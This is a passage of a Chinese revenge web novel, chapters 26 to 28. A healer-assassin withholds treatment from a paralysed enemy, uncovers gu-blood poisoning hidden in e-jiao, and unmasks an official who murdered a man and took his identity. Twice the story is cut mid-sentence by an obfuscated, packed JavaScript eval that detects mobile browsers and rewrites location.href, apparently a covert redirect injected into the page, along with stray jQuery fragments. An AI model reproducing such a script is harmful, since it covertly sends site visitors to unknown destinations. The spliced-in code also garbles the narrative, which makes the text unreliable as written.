雪微早就派人把沈雨菲这十几年的经历查了好几遍,从他们在永安相遇,到她如何一步步的走向贵妃之位,雪微心里十分清楚,她总觉得,凭沈雨菲这样一个人,怎么可能坐到这个位置,除非,沈雨菲的背后还有什么人在指引着她。 那个人是谁,雪微查了许久,却连一丝蛛丝马迹都没有查到,看来这背后之人,深藏不露,这也是雪微为何至今不动沈雨菲的原因之一,她在等,等沈雨菲背后的那个人出手。 复仇这条路,万不可踏错一步,雪微仔细斟酌了许久,踏错一步,将会万劫不复,虽然她早就已经把生死置之度外了,身在地狱,但是她也希望能够看到正义来临的那一天。 “爹,娘,请你们多多保佑保佑我,宁王府,三百多口人,我定要为他们讨回一个公道。” “你们就在天上好好看着女儿如何让那些人跪在你们的灵位前忏悔。” 她抬头,朝着天空看了看,“等报完仇,女儿就会来与你们团聚,到时候我们一家人再在一起,永远都不要再分离了。” 漆黑的眼眸中始终含着一圈泪水,久久也没有落下。 雪微红着眼,呆呆的看着眼前的这一切。 26. 折磨 “母亲。”静宜言语沮丧,端着米粥,有些无奈,这几日,母亲不吃不喝,任凭父亲在旁怎么劝,都不起任何的作用,反而,母亲的脾气却每日见长。 “要本宫这样活着,本宫宁愿立刻去死。” “死?”静宜眼神呆滞的看着淑宁,这一个月以来,她每天都会听到无数次这样的字眼,对于母亲的吵闹,心中早就波澜不惊了。 “不要再说这种要死要活的丧气话了,来,听话,先把这碗米粥喝了。”看着淑宁每日逐渐瘦下去的身子骨,要是再这么继续下去,怕是过不了多久,淑宁就会形如一副枯骨了。 “不要。”她把米粥打翻在地,使劲的捶打着自己的双腿,一种恐惧,固执袭击全身:“本宫不要这么毫无尊严的活着,轩哥,你杀了我吧。” “你杀了我吧。” 她歇斯底里,眼神空洞的看着齐庭轩,这一个月的折磨,让她生不如死,她祈求道:“轩哥,给我一杯毒酒,让我体面的死了,算了。” “这样人不人,鬼不鬼的日子,我过够了。” 每天看着这些人用着异样的眼神,奇怪的打量着她,任凭再坚韧的心,也会有脆弱的一天。 刚开始几天,淑宁还吃点东西,但随着这样的日子久了,她的脾气却越来越暴躁,一日,她偶然听见丫鬟们私底下议论纷纷,说她的腿好不了了,她一辈子估计都得瘫痪在床。 那一刻,淑宁想死的心都有了,“我的腿真的恢复不了了吗?轩哥不是说大夫说过,只要用心调养,过不了多久就会恢复的吗?怎么可能会恢复不了?” “所以,轩哥为了让我安心,故意骗我,说我的腿是可以恢复的。”她恍然大悟,“肯定是这样,轩哥肯定怕我知道了,会接受不了,所以骗我,说我的腿好好调养就会恢复的。” “轩哥,轩哥。”泪水止不住的哗啦啦的往下滑:“你不应该骗我的,现在我知道了,我只会更加的难受。” “与其这样,我还不如死了。”她身体麻木,脑海一片空白,双目无神呆呆的看着床顶,不吃不喝,沉默不语了许久。 “我瘫痪了?” “我这辈子只能在床上躺着了?” 淑宁心里实在不可置信,为什么会这样,这种事情怎么会落到我的头上? 从小,她就事事要强,娴妃在宫内本就不受父王宠爱,淑宁只有刻苦用功,事事争取完美,方才能够得到父王的一丁点赞美,为了那一丁点的表扬,她从来都要反复训练好久。 如今,淑宁双腿瘫痪,怕是再也跳不了舞了,这对于她来说,是比死还可怕的诅咒。 “父王一向最喜爱我跳的舞,可我再也不能跳舞给父王看了。” 丫鬟眼见屋内气氛诡异,小心翼翼的来到静宜身旁,附在静宜的耳边小声说道:“白大夫来了。” 静宜点了点头,转身,便朝着大堂走去。 “白大夫,我母亲这几日不知怎么了,不吃不喝,情绪沮丧,而且还......还......”静宜低头,不知怎么说,母亲一生要强,要是让旁人知道了自己如今是这副德行,怕是又要大哭大闹了。 “还经常闹自杀,觉得生无可恋,对吧?”雪微微微笑了笑,似乎对这些事习以为常。 看着雪微对此事一副了如指掌的心态,静宜心里不由得佩服,雪微看了眼这个小姑娘,才十岁左右,却比正常的小姑娘要稳健了许多。 “看来,这皇家的郡主也不是那么好当的啊。” 雪微无奈的摇了摇头,以淑宁这种事事都要争第一的完美主义,突然知道自己下半生都得瘫痪在床,一眼看到头,她人生的希望瞬间碎了一地。 雪微心里极为兴奋:“当年,你联合沈雨菲,害我坠崖,我也是这样,在床上躺了半年之久,现如今,我只不过是把我当年所受的痛苦一一还给你,罢了。” “怎么,才躺一个月,你就受不了了?那我当年可是足足躺上半年之久呢?” “白大夫果真料事如神。”静宜连番夸赞,白大夫,人长得又美,心地也善良,应该不会对母亲的痛苦见死不救吧。 她继续说道:“白大夫,你看,要怎么样才能够让母亲的双腿恢复行走?” 这小孩,一顿马屁,原来等在这里啊,想要我给淑宁治病,即使你话说得再好听,都不管用,本来按照正常疗程,躺三个月,就好了,可我偏偏就只想让她一直躺下去,等我哪天高兴了,我就让她站起来,走上一走,我不高兴了,我就让她一直受双腿的折磨。 淑宁,你有个这么好的女儿,上天待你可真不薄啊,可惜,你偏偏遇上了我,我会让你知道,什么是地狱。 雪微心里想了想,转头看着静宜说道:“想要恢复行走,怕是有点难度啊。” “你也知道,以公主的身体,能够勉强活着,已经是上天的眷顾了,要是个寻常人受到这样一番折磨,不死也会疯掉,如今公主只不过是双腿行走不便,但至少性命无忧啊。” “好好调理,也许某一天,会有恢复的可能。” “我只是个大夫,不是神仙,郡主就别为难小的了。” 静宜看着雪微一副无可奈何的神情,自是叹息了一番,连番安慰道:“白大夫就不要把我刚才的话放在心上了,快进去看看母亲吧,她今早又发了一顿脾气,连父亲的话都不听了,哎......” “公主吉人自有天相,郡主就放宽心吧,上天自有安排。” 雪微提起药箱就往内屋走去。 “滚......滚......滚......” 一阵杯盏摔碎的声音从屋内传入雪微的耳中,“看来,你比我预想中的,还要难受许多啊。” 雪微脸上依旧挂着严肃的神情,但心里却很是痛快,看着仇人一个个的在自己眼前痛苦挣扎,这不是她期盼已久的吗? 但不知怎么了,看着淑宁沦落到如此境地,她心中却并没有开心多少,“淑宁,你就算受再多的惩罚,也不足以平复这十几年来,我所承受痛苦的万分之一。” “怎么回事,淑宁体内的毒不减反增,难道府内还有人也同我一样,想要她死?”雪微拿出冰针,针头微微泛着黑气,明明上个月,她体内的余毒已经清除了不少,怎么如今,她的身体里却又多了另一种毒。 这种毒若隐若现,寻常医者不太容易察觉,雪微刺破淑宁的手指,取了几滴血,她晃动了右手手腕上的银镯,却发现淑宁体内的噬魂蛊没有了任何生命的迹象。 连噬魂蛊都被毒死了,看来淑宁血液里的毒不一定是毒了,因为噬魂蛊对任何的毒是有免疫功能的,除非,除非淑宁也中了蛊毒,而且这种蛊毒极为霸道。 普天之下,能够与噬魂蛊相媲美的就只有莫家的一线牵,上次替十一解蛊就是利用噬魂蛊去驱动一线牵,从而解蛊,如今淑宁体内的这种蛊毒却是直接可以秒杀噬魂蛊。 雪微仔细想了想,天底下拥有这种蛊的人并不多,除非是以人为蛊,蛊人? 对啊,叶宏,他不就是蛊人吗? 难道想要淑宁死的人是叶肃? 雪微左思右想,也许叶肃并不是想要淑宁死,他想要的是淑宁听命于他。 他想利用淑宁,或者是想要淑宁帮他做些什么? 叶肃啊叶肃,原本以为这段时间你待在府中不出门,是静思己过,没曾想,你居然在下这一局大棋,你是想救你的儿子呢?还是想搅得西晋动荡不安? 蛊人每日都要以血为引,雪微环顾四周,难道公主府邸每日都有人给淑宁喂蛊血,她检查了淑宁屋内的器具,什么都没有发现。 “粥?” 静宜说淑宁早上喝了点粥,然后就什么都没吃了。 雪微起身,来到厨房,依旧也是什么都没有发现,静宜看着白大夫异样的神情,心中觉得奇怪:“白大夫,你怎么了?” 看来这些人做事极为细致,早早就把证据全都清理了,她转身看着静宜郡主,笑道:“没什么,我只不过是想看看公主平日里都吃些什么东西,好为她调理一番。” “也许有恢复的可能呢?” 静宜一听,心中大喜,难道刚才白大夫诊断母亲后,发现母亲的身体有所好转了。 她点头道:“好......好......白大夫想知道母亲平日里的吃食,问我就好了,她的吃食都是由我负责的。” “由你负责的?”看着这个女孩天真无邪的笑容,雪微顿时心生可悲,她应该不知道,公主每日的吃食之中,早就被有心人动了手脚吧。 她微微一笑:“这一个月以来,母亲吃任何东西都没有胃口,只是有一样东西,母亲每日都要吃,不吃,她就会一直闹腾。” “什么东西?”雪微一听,大约就知道了,蛊血。 一定是这样的,把人炼制成蛊人的过程,就是要每日给人喂蛊血,要是一日不喂,蛊人就会发狂,连带着自己做出什么事,都控制不了。 “就是它。”静宜指着一旁黑漆漆的阿胶,“这可是我托太医局的柳大夫从宫内给拿过来的,听闻宫内的沈贵妃可是一直在食用,可以补气血的。” “母亲这次中毒,身体亏空,自然是要多补点的。”静宜兴奋道:“我把它混在粥里,母亲每次喝完粥,情绪都会平复不少。” 她看了看雪微,笑道:“白大夫,我看你脸色苍白,气色也不是很好,您要不要也带一点回去,这真的很不错,母亲自从吃了它以后,气血都好了不少。” “好啊。”雪微点了点头,既然郡主都开口了,哪有拒绝的道理。 静宜吩咐一旁的侍女,包了一小块递给雪微,“好浓重的血腥味。”雪微当即眉头微微皱了皱,看来,这阿胶便是在蛊血里面浸泡了许久的了。 一股子的血腥气,让人闻了,胸口不免有些难受。 柳太医,雪微想了想,难道淑宁中蛊毒和这个柳太医有关,还有沈雨菲,不会她也中了蛊毒吧? 雪微告别了静宜郡主,便提着药箱离开了公主府。 今日收获颇多,但让雪微百思不得其解的是,公主中蛊毒此事到底与叶肃有没有关系,如果和叶肃没有关系,那么这背后肯定有一个人,他对研制蛊人一事,非常的熟悉,而且此人对宫内的一切都了如指掌。 想到这里,雪微背后冒出一丝寒气,她从药箱中拿出那块阿胶,打开包着阿胶的那张牛油纸,一股浓重的腥臭味顿时直扑而来。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892848|192250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好臭啊。”锦瑟看着这份用牛油纸包着的黑漆漆的东西,心生恶心:“少宫主,这是什么东西,看着像什么邪物?” “连你也这么觉得?” 雪微沉默的看着这块阿胶看了许久,“锦瑟,取一碗热水来。” 她拿出匕首,割了一小块阿胶,放入热水中,看着阿胶在热水中逐渐融化开,一整碗热水渐渐被染红了一片。 “这是什么东西?”锦瑟看着碗中漂浮的像血丝一样的东西,神色大为吃惊道:“少宫主,你看,这些东西居然在水里游动,它们居然活了过来。 “是啊,活了过来。” 雪微的眼眸中闪过一丝微妙的气息,这哪是什么阿胶,这分明就是蛊血。 她拿出冰针,针尖处泛着丝丝黑气,和淑宁身体里的黑气一模一样。 几年前,雪微独身前往西域习噬魂蛊,曾经听当地巫女说过,这里有一个奇怪的村子,村子里的人基本上不与其他部落的人相接触,因为那个村子里所有的人都是蛊人。 他们是由于被当作试验品而留下来的,即使是能够勉强活下来,但严格意义上来说,他们已经不能称得上是一个人了。 雪微当时为了习得噬魂蛊,便没有多做一些了解,但听周围人说过,被炼化成为蛊人的人,他们虽然能够爆发出极为强悍的武力,但也正因为如此,所以他们的寿命一般活不过五十。 炼制的过程是极其的残忍,稍有不慎,就会前功尽弃,一百个人之中最后能够炼制一个人出来,那个人就是蛊王。 雪微看了看那块黑漆漆的阿胶,想必,这大概就是蛊王的蛊血吧。 把蛊王的蛊血喂食给淑宁公主,让淑宁听从蛊王背后之人的命令,这大概就是这些人想要的结果吧,听静宜说,沈雨菲也在食用这个东西,难道沈雨菲背后之人与这个人是同一个人。 今日发生的这些事让雪微感到非常震惊,如果朝中官员都在食用这块阿胶,那么最后造成的后果,那将会是整个西晋的沦陷。 知道得越多,果真脑壳越疼,接下来,她到底应该怎么办? 亲眼看着这些人坠入深渊,还是......? 这些不是我能够管的,我的目的只是复仇,复完仇,我就应该离开。 更何况,这么大的事情,也不是我一个人能够管得了的,雪微心里暗自劝说自己,但不管怎么劝说,她终究还是不能眼睁睁看着整个西晋的百姓也跟着陪葬。 她不知道背后之人到底想干些什么,但隐隐约约之中,雪微有一种直觉,那个人自始至终就藏在这附近,默默的看着这一切,欣赏着他杰出的手笔。 “他到底想要干什么,是毁了整个西晋,还是和我一样,只是为了复仇?” 正当雪微发呆之时,十一的声音在屋内响起,他总是这样,来无影去无踪,像风一样。 “这是什么味道,好臭啊。” 他捏了捏鼻子,眼见雪微用牛油纸把一小块黑漆漆的东西包好,置放到药箱之中,笑道:“到底是什么好东西,见我来了,就把它藏了起来?” “没什么,也不是什么好东西。”雪微看着十一那双狡黠的眼眸,言语极为淡漠:“你今日过来干什么?” “答应你的事,我自然会做到,这不是时间还未到吗?” 十一笑了笑,这个女人看起来确实很聪明,也很狡猾,知道我今日前来,肯定是有事找她,也是,没有事,我又何必走上这一趟呢? 前几日,子昂他们在山中查探,突然发现一块秘密基地,那里守卫十分严格,而且还布有结界,寻常人都无法进入,自从知道这个事情以后,十一也曾几次趁着天黑前往查探几番,但都毫无结果。 凭借他目前的实力,确实无法进入其中,只能寻找外力,这不,找着找着,就想到了这个名为雪儿的女人呗,他一脸坏笑的看着雪微。 “你想做什么,自己去做,不要扯上我。”雪微瞪了十一一眼,那宛如冰刃一样的眼神,只一眼,就让十一心如刀割。 “我......我......我知道你在调查蛊人一事,我知道一个地方,也许和你调查蛊人这件事有关。”他一脸心虚,果真不会撒谎,一撒谎就会脸红。 “你怎知我在调查蛊人?”雪微死死的盯着眼前的这个男人,蛊人一事,极为保密,他是怎么知道的? “难到他在暗地里调查我?”雪微想了想,这个人果真狡猾,不过,他留在京城,到底想做些什么呢? 让太子死只不过是十一表面上对雪微的敷衍,这一点,雪微早就察觉,只不过不想拆穿他而已。但眼下蛊人一事至关重要,关乎着千千万万的百姓,以及整个西晋的安稳,雪微不由得多想了点。 她就算想复仇,也从未想过去动摇西晋的根基,而这个男人,雪微阅人无数,她心一横,丝毫不给对方留有任何的情面:“撒谎。” “你想我帮你,你就直说,何必撒谎欺骗我呢?” “我平生最讨厌欺骗。”雪微冷冷的笑了笑,光站在那里,就感觉屋内多了几分寒气。 这个女人,总是一眼就能够看出他的小心思,难道她知道我内心怎么想的,对了,噬魂蛊,十一想起这件事,心不由得凉凉。 27. 寻亲 “顾,炳,春。” “你是谁,为何会出现在我的书房?”顾炳春略微感到有些吃惊,他朝着周围看了看,书房重地,一般都有人把守,这个人居然能够在这群人的眼皮子底下溜进书房,可见,武功绝然,这里怕是没有人会是她的对手吧。 他心中虽然有些震惊,但还是努力克制让自己镇定下来,“贵客到访,可是有什么事?” 衣冠楚楚,一副慈眉善目的笑脸,不知真相的,怕是都要被他的外表所欺骗了吧。 雪微看着他,沉默了许久,开口道:“顾炳春,扬州丹阳郡人士,家中有一老母,还有一个贤惠的妻子和三个孩子。” 话到此处,顾炳春的脸色已然大变。 “你到底是谁?” “我是谁不重要,重要的是,你是谁?”雪微放下折子,起身来到顾炳春身旁,对着他小声说道:“你的母亲,妻子和三个孩子在前往京城寻你的路上遇到了盗匪,纷纷落水身亡,顾炳春,他们真的是被盗匪所害吗?” “当然,判决书上有写,百姓皆知,做不得假。” 顾炳春和颜悦色,没有表露出一丝惊慌,也是,为官十几载,大大小小的场面都见了不少,就这点事情,对于他来说,不值一提。 雪微冷笑,“真亦假时假亦真,顾炳春,什么是真,什么是假,你自己心里应该是再明白不过吧,鸠占鹊巢,你可曾想过,也许他的母亲妻儿都没有死呢?” “不可能,当年,我派人追杀顾炳春的母亲以及他的妻儿的时候,明明亲眼看着他们落水,过了好一会,等到水面平静了,这才离开,一个妇人带着一个年迈的老人以及三个孩子,怎么可能还会活着?” 这个人如今站在这里,看这模样,似乎是知道什么,顾炳春转头一想,“也许有可能是匡我的呢?我为什么要相信她?” “当年母亲与妻儿被盗匪所害,我心里内疚自责了许久,贵客如今揭开这些,是想旧事重提,再次让我陷入悲痛久久不能遗忘吗?”顾炳春装出一副悲痛欲绝的模样,说着说着,眼角居然落出几滴泪水,让人看了,都觉得是雪微咄咄逼人。 雪微冷哼一声,这人,到还真是一个道貌岸然的伪君子。 ...... “小姐,我叫顾盼,我的父亲是顾炳春。”顾盼低头,一副唯唯诺诺的模样,看样子,似乎并不知道顾炳春如今可是堂堂的大理寺少卿。 “你的父亲是顾炳春?”雪微心中有些质疑,一年前,雪微在街上看到一个十几岁大的女子独自上京前来寻亲,雪微心生怜悯,于是便把她带了回来,给她安置了一个住处,休憩了几日,雪微后来想起这件事来,心中都为之一惊。 “顾,炳,春。” 这下可有意思了,没想到,顾炳春在外面居然还有一个十几岁大的私生子。 “你不用紧张,先坐下来慢慢说,说得越详细越好,说不定,我还能帮你找到你的父亲呢?”雪微会心一笑,“锦瑟,给她倒杯热水。” “是,小姐。”锦瑟端起水壶,倒了一杯热水递给顾盼,看这孩子模样,锦瑟心中不免有些于心不忍,灰头土脸,破破烂烂,如果不是小姐发善心收留,也不知今日,她会在哪里度过这漫长的寒夜。 七杀殿里的每一个杀手都十分的冷漠,可是少宫主却和他们偏偏不一样,有的时候,锦瑟也不是很明白,作为一名杀手,无情心冷才是杀手的本性,为何少宫主却偏偏多了一丝温情,她一直和旁人不一样。 就像阳光一样,温暖着她们。 就比如这次,在路边看见一个女子寻亲,旁人都不搭理,少宫主却偏偏出手,把这名女子带了回来,还好生安置,她总是这样,看见流浪的孤儿,会给他们一些衣物吃食,看见卖身葬父的女子,也会帮她们把葬礼安排妥当。 可是,不是每一个人都会记着少宫主的好的,锦瑟以前经常提醒少宫主,“少宫主,你不要对别人太好,有些人配不上你的好。” 少宫主总是一脸笑意说道:“锦瑟,人活在这个世上,要独自面对许许多多的痛苦,有的时候,陌生人一点点关心,就可以让他们心生感动,在痛苦的世界里多一丝丝的甜。” 锦瑟点了点头,少宫主总是有自己的一番道理,锦瑟知道,自己永远说不过她。 “十年前,我与母亲,奶奶以及弟弟妹妹们一同上京前来寻找父亲,当时,我们只知道父亲在京城当了大官,他每隔半年都会往家里写信以及寄点生活费,至于其他的事情,我们一无所知。” 顾盼继续讲述:“由于思念父亲,我们一家人便带着行李准备上京,可是......可是......”说到此处,顾盼哽咽,“扬州到京城的路太过遥远了,我们搭乘水路一路前行,谁曾想中途居然遇到了盗匪。” 泪水已经滑湿了她的衣襟,“母亲,奶奶以及我们三姐弟全部都被大水冲散,不知所踪。” “后来,我带着妹妹一路沿着河道寻找亲人,谁知,妹妹在途中居然生染疫病,骤然离世。” “母亲和奶奶也相继离世,只留下一个还未找到的弟弟。” 她抬头,眼神迷离的看着雪微,“小姐,你真的能够帮我找到我的父亲吗?” “你的父亲真的叫顾炳春?”雪微再一次对着顾盼问道,顾炳春这个人私生活一直很干净,曾经她也怀疑,此人与莫家勾结,与宁王府一案也许会有关联,但无论怎么查,都查不出一丝踪迹。 如今,突然冒出一个女儿来,这女子年纪已经十九了,而十九年前,顾炳春只不过是一个上京赶考的书生,难道顾炳春在为官之前早已经在老家娶妻生子了? 后来为官之后,却抛弃了家中的妻儿,转身又迎娶了兵部尚书胡尚书家的女儿? 雪微想到此处,心不由得寒了几分,自古男子多薄情,如果真是这样,那顾盼他们落水,怕也不是什么意外吧? 后来,雪微暗地里带着顾盼前来指认,可是顾盼却说这个顾炳春不是她的父亲,雪微当时就纳闷了,此人不就是顾炳春吗?难道这个世上还有第二个顾炳春? 顾盼说她的父亲左脸颊上有一颗痣,而这个顾炳春的左脸颊上却什么都没有。 看着顾盼一脸坚决的否认,雪微这才意识到,也许此顾炳春非彼顾炳春,她当时就派红袖对顾炳春进行了查探。 看着眼前这个顾炳春一脸不为之所动的模样,雪微心中觉得极为讽刺,也许他也未曾想过,顾炳春的女儿居然会在落水之后活了下来,而且,还继续上京前来寻亲。 她今日前来,早就已经证实了心中所想,这个顾炳春,李代桃僵,当初父亲怎么会看上这样的人,还是这个人太善于伪装了。 “顾炳春的母亲以及妻儿到底是被盗匪所害,还是被你所害。” “袁知远。” 雪微眼底一丝讥讽,此人正是在顾炳春即将赴任之时,杀害顾炳春,从而顶替了他,成为了怀县知府。 “袁,知,远。” 好久没有人叫过他这个名字了,当顾炳春当了二十余年,他都快忘记了,自己的真实姓名,“谁是袁知远?” 反之我死不承认,就没有人知道我顶替顾炳春一事,毕竟此事都过去了二十余年,就算想查,那些所谓的证据也早已经随着顾炳春离世而烟消云散了。 真的烟消云散了吗?袁知远的心里突然有些彷徨,二十多年了,他心里藏着这个秘密藏了二十余年,藏得有的时候他都已经快把自己当成了顾炳春。 雪微打开暗门,顾炳春的牌位赫然的出现在袁知远的身前,“你还敢说你是顾炳春吗?” “如果你是顾炳春,为何又要祭奠顾炳春的灵位?” “你是袁知远,是你杀了顾炳春,对吧?” “不......不......不是我......” 袁知远怔怔的看着雪微,身子不由自主的倒退几步,“你到底是谁?你和顾炳春有什么关系?” 他心中充满了疑惑,似乎在此人的身上看到了几分顾炳春的影子,难道此人是顾炳春的后人,不对,他的后人不都死了吗?当年,明明...... “我是谁,不重要,重要的是,你杀了顾炳春,而我刚好知道了你的秘密。”雪微看着此人一副惊慌失措的模样,摧毁一个人,有的时候并不需要动用武力,而是加深他的恐惧。 而袁知远的恐惧就是顾炳春。 这段时间,接连着几个月,袁知远也不知怎么回事,每晚入睡都会梦到顾炳春,日思夜想,心中略微担忧,于是便在书房给顾炳春立了一个灵位,雪微低头笑了笑,看着顾炳春的灵位,而这一切都是出自她的杰作。 没想到,袁知远的动作倒是直接印证了雪微的猜测。 “顾炳春可是你的好朋友,你杀了他,为何连他的家人也不放过?”雪微觉得此人十分可恨,“他们只不过是手无寸铁的妇孺而已,你为何要对他们痛下杀手?” “我不想的,我不想这么做的,都是因为他们。” “他们在扬州待着不是挺好的吗?为什么,为什么偏偏要来京城寻亲,我怎么能让他们前来京城呢?”袁知远神色变了变,没有一丝悔改之意。 “我写信告诉过他们,叫他们不要来京城,可是他们一意孤行,偏偏不听我的劝告,我也是没有办法。” “所以,你就派杀手,杀了他们。” “原来居然是这样。” “你自己去自首吧,我不想杀人,我想要你把顾家的一切,还回来。” “这是你欠顾家人的。”雪微沉默的看着眼前一动不动镇定自若的袁知远,这人怕又是在琢磨什么东西吧,毕竟,陡然放弃自己打拼十几年,才得到的这一切,不是谁都能够做得到,轻言放弃的。 “哈哈哈哈哈哈哈哈哈哈。” 袁知远突然大笑起来,“想让我自首,你别做梦了,你以为你是谁?” “来人。” 他朝着门外大喊,“来人,快来人,今日有贼人闯入,快来人。” “给我抓住她。” 雪微冷哼一声,“我既然能够悄无声息的来,当然也能够悄无声息的离开。” “袁知远,今日我已经得到了我想要的,希望你能够好自为之。” ...... “刚才,你已经看到了一切,你的父亲早在十几年前就已经被袁知远杀害了,你们遇到盗匪落水一事也是袁知远一手策划的。” “我先前把我的猜想告诉你的时候,你还不信,怎么,现在相信了吧,你叫着叔叔的这个人,可是你的杀父仇人。” 雪微看着顾盼呆若木鸡的模样,也是,陡然让她接受自己最尊重的叔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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锦瑟点了点头,七杀殿中,少宫主是唯一让她心暖之人,她不希望少宫主出事。 雪微拿出天府助学金账册看了看,莫家与顾炳春之间到底存在着什么不为人知的交易,为何会产生这么大的账目,十万两,莫家也不是吃素的,而其中最大交易的一年,居然是十三年前,宁王府出事之前。 雪微看着这个日期,沉默了许久,十三年前,五月十三,莫家资助顾炳春五万两,短短三个月不到,八月初八,宁王府就出现了灭门惨案。 八月初八,这个日期,雪微至今难忘,宁王府三百多口人就是在这一夜之间,被屠杀殆尽。 这两个日期相隔如此相近,不由得让雪微多想了几分。 顾炳春,不,应该是袁知远到底与莫家做了什么交易,为何莫家会资助一个当年只不过是大理寺寺正的袁知远。 难道宁王府惨案的背后,也有莫家的影子,凡和宁王府惨案相关的,雪微都不会放过他们。 日子一天天的过着,顾炳春如今在满城都贴上了告示,只要能够抓到当日闯入顾府的刺客,就悬赏一千两白银,众人纷纷前来观看,都希望自己能够抓到刺客,获得这一千两赏金。 雪微瞅了一眼这告示上的画像,嘴角不免讽刺道:“真丑。” 师父传给她千面幻术至今,她也就用过两次,一次变得比一次丑,“真是可惜了这脸蛋。”雪微叹了口气。 “王妃今日怎么有空,来街上闲逛?”十一从身后突击,“刺客?”他半开玩笑道:“王妃难不成知道刺客是谁?” 雪微翻了个白眼,听这声音,还能是谁,庆安王宇文昌最近是不是盯上她了,怎么我去哪,都可以见到他呢? “这人,真的好烦。” 她转身,正好见到一骑兵从城门口骑着战马,手里摇拽着旗帜,大声呼道:“林将军归来,林将军打了胜仗归来。” “林将军?” 百姓见状,纷纷退到一旁,开出一条路来,“听说这林将军本来只是一个士兵,由于骁勇善战,后来又被提为副将,没想到,短短三年时间,就成为了将军了。” “此人,前途无量啊。” “确实是前途无量,王上今日为了接见他,可是搞了好大一出排场,只是可惜,你我怕是无法见到这种壮阔的场面。” “哎。”二人言语之中无不透露着仰慕之情,“要是我的女儿能够嫁给这样的乘龙快婿,那可真是烧了高香了。” “你女儿。”那人浅浅笑出了声:“你就别想了,过不了多久,林将军家的屋门,怕是要被一些媒婆踏破了。” 雪微看着这场景,似乎有些眼熟,当年父亲打了胜仗,王上也是搞了个这么大的场景,还当场册封父亲为宁王,赐居宁王府,可是,最后,却落了个全族被灭的下场。 如今,这位将军居然也姓林,雪微忽然有些恍惚,林姓在西晋一直是个忌讳,难道这位将军不知道吗? 当年自从林家被灭之后,京城所有的林姓一族,纷纷改姓,就是为了避免,如今倒好,这位大将军却堂而皇之的说自己姓林,难道是因为宁王府一案太过久远了,久远得让那些人都已经忘了吗? 雪微不免多看了几眼这位林将军。 28. 舞姬 那是什么,怎么看起来这么眼熟?雪微紧紧的盯着林将军胸前挂着的那枚平安扣,那枚平安扣和她自小戴着的那枚看起来简直一模一样,就连雕刻云纹的形状也一模一样。 不对,那是我的平安扣,这天底下仅此只有一枚,可如今这枚平安扣却落到了林将军手里。 当年,母亲大龄,怀上雪微,生怕自己保不住这个孩子,于是便去观音庙里祈福,雪微记得自己自小就戴着这枚平安扣,自从族人获罪以后,这枚雕刻着云纹的平安扣就不知遗落到了哪里。 雪微当时还纳闷,责怪自己许久,现如今想了起来,原来这枚平安扣早就被人捡走了,难怪找了许久都找不到。 “英姿飒爽,气宇轩昂。”十一看着雪微目不转睛的盯着林将军,摸着下巴半开玩笑道:“确实不错,原来,你喜欢这种类型的啊。” “王爷今日很闲么,居然有空来逛花楼?”雪微冷冷的看了十一一眼,这人真真是阴魂不散,走到哪里,都能够碰上。 雪微朝着锦绣坊扫了一眼,今日无事,路过锦绣坊,谁曾想居然会在这里碰上宇文昌,她知道此宇文昌非彼宇文昌,这个人既然出现在锦绣坊,肯定不是简简单单喝花酒这么简单,但是雪微对他所做之事并不感兴趣,只要井水不犯河水,那么大家就会相安无事。 可这一切,雪微终究想得太过于简单了,有的时候她不想卷入其中,但旁人却不会让她置身事外。 十一笑了笑,低声道:“我知道你所行之事,如果你不想我告诉别人,影响了你的计划,那么你就要听我的。” “你威胁我?”看着十一那张银白色的面具,雪微觉得甚为刺眼,此人居然胆敢公开且在大庭广众之下,堂而皇之的威胁她,想必自然是对她进行了一番调查,只不过,到底查到些什么,雪微想了想,即使查到些什么,那又能把我怎么样呢? 如果他非要破坏我苦心经营的一切,那么我只有杀了他,毕竟只有死人才会保守秘密。 “我们找个地方,谈谈?” “好啊。”雪微冷笑,我到要看看你到底想干些什么? 锦绣坊二楼,有一间茶室,既然宇文昌查到了雪微头上,那么自然知道,雪微来自七杀殿,所以雪微所幸也不装了,“你找我有何事?” “这里的菊花茶入口留香,你可以试试,清清火。”十一端起茶壶,给茶杯满上。 雪微看了看满载着茶水的水杯,水溢满却不流出,这人到底是想让我喝茶呢?还是想看我被茶水溅得满身,一身狼狈的模样。 “你费尽心思找我来,该不会只是找我来喝喝茶吧。” “先喝茶,再谈事。”十一眼眸含笑,目光落到雪微身上,脸上依旧保持平静。 “喝了。”雪微端起茶杯,仰头,一口干了。 “好功夫。”十一叹道:“没想到,我的王妃居然有这本事。” 看着宇文昌卖力的表演,雪微心里极其讽刺,这人找我到底想干些什么,如果他想揭穿我,应该早就揭穿了,何必今日坐在这里,与我喝茶呢? 该不会,他想与我合作,或者说,他想利用我,然后借刀杀人? 雪微笑了笑,这天底下,知道了我的身份,胆敢堂而皇之像他这样威胁我的人,有且只有他一个。 “我上次和你说过,合作一事,你考虑的如何?” 他笑着又道:“你是不是从未考虑过与我合作?” “是,又如何?” “这么直白,都不掩饰一番。”十一嘴角微微翘起:“看来,你果真没有把我当一回事。” “少宫主。”他心底不免有些失落。 雪微看着十一那张银白色的面具,她很想知道,那张面具底下到底长着一张怎么样的脸,为何,他终日要以面具示人。 “你果真知道了我的身份,不过,你知道了又如何?” “你说的对,我知道了,确实对你无可奈何,毕竟七杀殿,江湖中人谁不知道。”他沉默了片刻,又道:“我奈何不了七杀殿,但我知道,你在调查宁王府一案。” 雪微神色依旧保持不变,但心中却暗自想道,没想到此人都猜到这一步了,也是,就凭她最近一年做的事,只要用心想,都能够想得出来,毕竟这个人,时时刻刻可是一直盯着自己。 